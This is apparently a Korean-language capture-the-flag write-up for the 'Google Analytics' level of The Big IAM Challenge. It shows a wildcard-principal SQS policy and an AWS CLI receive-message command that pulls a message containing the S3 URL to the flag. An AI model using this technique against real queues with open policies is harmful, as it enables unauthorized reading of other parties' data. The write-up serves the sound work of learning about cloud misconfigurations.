[The Big IAM Challenge] Google Analytics

Google Analytics 문제

설명

We created our own analytics system specifically for this challenge. We think it's so good that we even used it on this page. What could go wrong?

Join our queue and get the secret flag

 

IAM Policy

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": [
                "sqs:SendMessage",
                "sqs:ReceiveMessage"
            ],
            "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
        }
    ]
}

 

풀이

이번 문제는 "wiz-tbic-analytics-sqs-queue-ca7a1b2" SQS의 SendMessage와 ReceiveMessage 권한을 누구에게나(Principal : *) 열려있어 Message를 보내거나 받는 등의 행위를 수행할 수 있음

(S3 Bucket 문제로 외부에서도 접근할 수 있다고 생각했지만, SQS는 The Big IAM Challenge에서 제공하는 WEB CLI를 통해서만 접근할 수 있었음)

 

해당 SQS에서 전달 받은 Message 내에 URL이 포함되어 있었고 해당 URL 접근 시 Flag를 획득할 수 있었음

SQS URL 형태 : https://sqs.{REGION}.amazonaws.com/{Queue-Owner-AWS-Account-ID}/{SQS-NAME}

 

PoC

1. 해당 SQS에서 메시지 전달 받기

> aws sqs receive-message --queue-url "https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2"
{
    "Messages": [
        {
            "MessageId": "8fad8513-6249-4c6e-9e81-7478e0a667b6",
            "ReceiptHandle": "AQEB8P2Bc+xSHv5zXSerF/kNwuC56DVyGQxvrHSErGE6W5xF5h4xR2GNYC2Gmj5b/s6IAvQ0L6aSagAT2+pbHNhyrsPVrK2vt53d/79kt8N+Np63SwnmbGXpqZWvU
UA536aEAgRucSizNsFFLVwhH89G96YMJwjbrwTVQVha3MFTanGWWSNv9B+rnG83VSgtzrk7uOGAD2aJnVlSjgYaP5npngrlgazZa5sufafga7I/3YAVkfPq4AFepLO4qIPmodw0vj25VtJhacNCpK45jwOs
qdn9SbYU8kc8Z8nqXvsrAJcOdpkAcQaw98obyCeNMLPse5/0x9dyoRtWmPKa3bQTd9oxNe6STPfY5lnU8631q0TET26KEsKl+wa8qO9NHOiG+NtA5emyUj4q7Pa4/toNp2nXPjKWMbdoDI/6zIBUb2g=",
            "MD5OfBody": "4cb94e2bb71dbd5de6372f7eaea5c3fd",
            "Body": "{\"URL\": \"https://tbic-wiz-analytics-bucket-b44867f.s3.amazonaws.com/pAXCWLa6ql.html\", \"User-Agent\": \"Lynx/2.5329.3258dev.35046
libwww-FM/2.14 SSL-MM/1.4.3714\", \"IsAdmin\": true}"
        }
    ]
}> aws sqs receive-message --queue-url "https://sqs.us-east-1.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2"

 

2. Body 내의 URL로 접근하여 Flag 획득